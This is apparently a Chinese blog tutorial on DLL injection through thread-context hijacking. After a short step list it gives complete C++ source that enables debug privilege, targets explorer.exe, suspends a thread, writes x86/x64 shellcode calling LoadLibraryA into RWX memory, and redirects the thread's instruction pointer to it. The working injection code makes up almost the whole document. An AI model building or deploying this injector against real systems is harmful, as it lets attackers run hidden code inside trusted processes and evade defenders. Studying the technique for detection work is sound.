动态库注入——SetThreadContext注入
这种注入方法是主要是修改进程中的线程上下文来实现Dll注入(ShellCode)
- 实现步骤
a根据进程ID的进程句柄。
b根据进程ID得到线程句柄
c调用SuspendThread()函数暂停线程。
d在目标进程中申请内存,写入ShellCode
e调用GetThreadContext()函数获得线程的上下文
d修改Eip(rip)的值。
f调用SetThreadContext()函数进行设置线程上下文
- 代码实现
1 // SetThreadContext.cpp : 定义控制台应用程序的入口点。 2 // 3 4 #include "stdafx.h" 5 #include <Windows.h> 6 #include <TlHelp32.h> 7 #include <vector> 8 #include <iostream> 9 10 using namespace std; 11 12 BOOL GrantPriviledge(WCHAR* PriviledgeName); 13 BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId); 14 BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector); 15 BOOL Inject(UINT32 ProcessId, UINT32 ThreadId); 16 17 18 #ifdef _WIN64 19 20 UINT8 ShellCode[0x100] = { 21 0x48,0x83,0xEC,0x28, 22 23 0x48,0x8D,0x0d, 24 0x00,0x00,0x00,0x00, 25 26 27 0xff,0x15, 28 0x00,0x00,0x00,0x00, 29 30 0x48,0x83,0xc4,0x28, 31 32 33 0xff,0x25, 34 0x00,0x00,0x00,0x00, 35 36 37 0x00,0x00,0x00,0x00, 38 0x00,0x00,0x00,0x00, 39 40 0x00,0x00,0x00,0x00, 41 0x00,0x00,0x00,0x00, 42 43 }; 44 #else 45 46 UINT8 ShellCode[0x100] = { 47 0x60, 48 0x9c, 49 0x68, 50 0x00,0x00,0x00,0x00, 51 0xff,0x15, 52 0x00,0x00,0x00,0x00, 53 0x9d, 54 0x61, 55 0xff,0x25, 56 0x00,0x00,0x00,0x00, 57 58 59 0x00,0x00,0x00,0x00, 60 61 0x00,0x00,0x00,0x00, 62 63 0x00,0x00,0x00,0x00 64 }; 65 66 #endif 67 68 69 CHAR DllFullPath[MAX_PATH] = { 0 }; 70 71 int main() 72 { 73 // 提权 74 if (GrantPriviledge(SE_DEBUG_NAME) == FALSE) 75 { 76 printf("GrantPriviledge Error\r\n"); 77 } 78 79 UINT32 ProcessId = 0; 80 81 GetCurrentDirectoryA(MAX_PATH, DllFullPath); 82 83 #ifdef _WIN64 84 GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId); 85 86 strcat_s(DllFullPath, "\\x64Dll.dll"); 87 #else 88 GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId); 89 strcat_s(DllFullPath, "\\x86Dll.dll"); 90 #endif 91 92 //枚举到线程id 93 vector<UINT32> ThreadIdVector; 94 GetThreadIdByProcessId(ProcessId, ThreadIdVector); 95 96 for (UINT32 ThreadId : ThreadIdVector) 97 { 98 Inject(ProcessId, ThreadId); 99 break; 100 } 101 102 Sleep(3000); 103 104 return 0; 105 } 106 107 UINT32 Count = 0; 108 BOOL Inject(UINT32 ProcessId, UINT32 ThreadId) 109 { 110 HANDLE ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId); 111 HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); 112 113 // 首先挂起线程 114 SuspendThread(ThreadHandle); 115 116 CONTEXT ThreadContext = { 0 }; 117 ThreadContext.ContextFlags = CONTEXT_ALL; 118 if (GetThreadContext(ThreadHandle, &ThreadContext) == FALSE) 119 { 120 cout << GetLastError() << endl; 121 CloseHandle(ThreadHandle); 122 CloseHandle(ProcessHandle); 123 return FALSE; 124 } 125 126 PVOID BufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 127 if (BufferData != NULL) 128 { 129 UINT_PTR LoadLibraryAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA"); 130 if (LoadLibraryAddress != NULL) 131 { 132 #ifdef _WIN64 133 134 // ShellCode + 43 135 PUINT8 v1 = ShellCode + 43; 136 memcpy(v1, DllFullPath, strlen(DllFullPath) + 1); 137 UINT32 DllNameOffset = (UINT32)(((PUINT8)BufferData + 43) - ((PUINT8)BufferData + 4) - 7); 138 *(PUINT32)(ShellCode + 7) = DllNameOffset; 139 140 // ShellCode + 35 141 *(PUINT64)(ShellCode + 35) = (UINT64)LoadLibraryAddress; 142 UINT32 LoadLibraryAddressOffset = (UINT32)(((PUINT8)BufferData + 35) - ((PUINT8)BufferData + 11) - 6); 143 *(PUINT32)(ShellCode + 13) = LoadLibraryAddressOffset; 144 145 *(PUINT64)(ShellCode + 27) = ThreadContext.Rip; 146 147 if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL)) 148 { 149 return FALSE; 150 } 151 ThreadContext.Rip = (UINT64)BufferData; 152 153 #else 154 PUINT8 v1 = ShellCode + 29; 155 156 memcpy((char*)v1, DllFullPath, strlen(DllFullPath) + 1); 157 *(PUINT32)(ShellCode + 3) = (UINT32)BufferData + 29; 158 159 *(PUINT32)(ShellCode + 25) = LoadLibraryAddress; 160 *(PUINT32)(ShellCode + 9) = (UINT32)BufferData + 25; 161 162 *(PUINT32)(ShellCode + 21) = ThreadContext.Eip; 163 *(PUINT32)(ShellCode + 17) = (UINT32)BufferData + 21; 164 if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL)) 165 { 166 printf("write Process Error\n"); 167 return FALSE; 168 } 169 ThreadContext.Eip = (UINT32)BufferData; 170 171 #endif 172 if (!SetThreadContext(ThreadHandle, &ThreadContext)) 173 { 174 printf("set thread context error\n"); 175 return FALSE; 176 } 177 ResumeThread(ThreadHandle); 178 179 printf("ShellCode 注入完成: %d\r\n", ++Count); 180 } 181 } 182 183 CloseHandle(ThreadHandle); 184 CloseHandle(ProcessHandle); 185 return TRUE; 186 } 187 188 //获得线程ID 189 BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector) 190 { 191 HANDLE ThreadSnapshotHandle = NULL; 192 THREADENTRY32 ThreadEntry32 = { 0 }; 193 194 ThreadEntry32.dwSize = sizeof(THREADENTRY32); 195 196 ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 197 if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE) 198 { 199 return FALSE; 200 } 201 202 Thread32First(ThreadSnapshotHandle, &ThreadEntry32); 203 do 204 { 205 if (ThreadEntry32.th32OwnerProcessID == ProcessId) 206 { 207 ThreadIdVector.emplace_back(ThreadEntry32.th32ThreadID); // 把该进程的所有线程id压入模板 208 } 209 } while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32)); 210 211 CloseHandle(ThreadSnapshotHandle); 212 ThreadSnapshotHandle = NULL; 213 return TRUE; 214 } 215 216 217 BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId) 218 { 219 HANDLE ProcessSnapshotHandle = NULL; 220 PROCESSENTRY32 ProcessEntry32 = { 0 }; 221 222 ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); 223 224 ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 225 226 if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE) 227 { 228 return FALSE; 229 } 230 231 Process32First(ProcessSnapshotHandle, &ProcessEntry32); 232 do 233 { 234 if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0) 235 { 236 *TargetProcessId = ProcessEntry32.th32ProcessID; 237 break; 238 } 239 } while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32)); 240 241 CloseHandle(ProcessSnapshotHandle); 242 ProcessSnapshotHandle = NULL; 243 return TRUE; 244 } 245 246 247 248 // 提限 249 BOOL GrantPriviledge(WCHAR* PriviledgeName) 250 { 251 TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges; 252 DWORD dwReturnLength = sizeof(OldPrivileges); 253 HANDLE TokenHandle = NULL; 254 LUID uID; 255 256 // 打开权限令牌 257 if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle)) 258 { 259 if (GetLastError() != ERROR_NO_TOKEN) 260 { 261 return FALSE; 262 } 263 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) 264 { 265 return FALSE; 266 } 267 } 268 269 //查看权限令牌 270 if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID)) 271 { 272 CloseHandle(TokenHandle); 273 return FALSE; 274 } 275 276 TokenPrivileges.PrivilegeCount = 1; 277 TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 278 TokenPrivileges.Privileges[0].Luid = uID; 279 280 // 调整权限 281 if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength)) 282 { 283 CloseHandle(TokenHandle); 284 return FALSE; 285 } 286 287 CloseHandle(TokenHandle); 288 return TRUE; 289 }